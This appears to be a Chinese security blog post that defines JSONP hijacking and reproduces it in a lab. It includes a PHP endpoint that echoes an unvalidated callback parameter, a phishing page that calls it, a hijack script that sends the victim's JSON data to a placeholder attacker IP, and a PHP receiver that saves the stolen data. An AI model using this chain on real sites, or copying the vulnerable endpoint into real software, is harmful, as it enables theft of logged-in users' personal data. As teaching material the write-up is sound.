https://www.cnblogs.com/EndlessShw/p/15107906.html
1. 定义 JSON是一种轻量级的数据交换格式,而劫持就是对数据进行窃取(或者应该称为打劫、拦截比较合适。恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者,这就是JSON劫持的大概含义。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。 攻击方法与csrf类似,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取json数据,把json数据发送给攻击者。
2. 漏洞利用(复现 靶机的json文件代码: - <?php
- header('Content-type: application/json');
- $callback = $_GET['callback'];
- print $callback.'({"id" : "1","name" : "moonsec","email":"moon@moonsec.com"});';
- ?>
复制代码钓鱼网站的测试代码(只是在钓鱼网站上弹出): - <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <title>jsonp劫持</title>
- <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
- </head>
- <body>
- <script>function jsonp2(data){alert(JSON.stringify(data));}</script>
- <script src="靶机/json.php?callback=jsonp2"></script>
- </body>
- </html>
复制代码钓鱼网站上的劫持代码: - <!DOCTYPE html>
- <html>
- <head>
- <meta charset="UTF-8">
- <title></title>
-
- <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
- <script>
- function test(data){
- //alert(v.name);
- var xmlhttp = new XMLHttpRequest();
- var url = "http://后端接收ip/1.php?file=" + JSON.stringify(data);
- xmlhttp.open("GET",url,true);
- xmlhttp.send();
- }
- </script>
- <script src="靶机/json.php?callback=test"></script>
- </head>
- <body>
- </body>
- </html>
复制代码后端接收的代码(1.php): - <?php
- if($_GET['file']){
- file_put_contents('json.txt',$_GET['file'])
- }
- ?>
复制代码
|